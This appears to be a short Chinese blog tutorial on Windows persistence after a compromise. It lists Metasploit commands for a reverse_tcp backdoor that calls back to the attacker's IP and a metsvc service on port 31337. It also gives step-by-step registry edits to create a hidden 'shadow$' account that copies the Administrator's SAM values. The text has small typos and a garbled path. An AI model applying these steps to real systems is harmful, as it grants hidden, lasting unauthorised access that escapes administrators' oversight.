权限维持初探

权限维持

分两类记录一下

Windows

在目标系统中留下shellcode之后,仅仅是驻留在内存中,重新启动就会消失。需要进行后门植入才能长期的维持权限。

MSF persistence

首先就是MSF的渗透测试persistence模块。

1
2
3
4
5
6
run persistence -X -i 5 -r ip -p port
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ip
set LPORT port
run

开启后门,在系统服务启动时自动启动,每5秒回连一次。这个方法需要在BypassUAC之后才能起作用。因为该方式会在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run中添加开机自启动。由于权限问题不绕过UAC会导致启动失败。当然msf也提供了很多模块绕过UAC。

Metsvc

通过已有shell的目标主机上开启一个服务来提供后门。

1
2
3
4
5
6
run metsvc -A
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST ip
set LPORT 31337
run

执行成功后,会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件metsvc.dll、metsvc-server.exe、metsvc.exe。也会启动一个名为Metsvc的服务自动绑定在31337端口。

建立影子账户

前面两个都是通过msf工具来完成的权限维持,也可以通过手动创建一个账户来维持权限。该账户无法使用net user命令查看到,只能在注册表中看到。在Windows中,如果在用户名后面添加一个$就可以达到目的。到这里是一个隐藏账户,而影子账户顾名思义,就是和本体(管理员)相同,却又看不到的账户。

添加账户需要的是system权限,administrator权限是不行的,因为morenzhucebiaoHKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改。

首先需要建立一个隐藏账户,shadow&:shadow

这个账户虽然用net user命令看不到,但是在控制面板能看到

然后win+R输入regedit打开注册表,找到HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Name。其中能看到我们新创建的隐藏账户。到处这个注册表命名为1.reg。接下来观察这张注册表中的Type,在上级目录下能找到同名注册表。

同样导出,命名为2.reg。一般Windwos的Administrator用户的Type为1F4,找到同名注册表,一般都是第一个,导出命名为3.ref。将2.reg中F的键值替换为3.reg中对应的键值。接下来使用net user命令删除shadow$账户,完成之后双击导入的两个注册表,成功创建了影子账户。这样除了注册表中,其他位置均无法看到shadow$账户。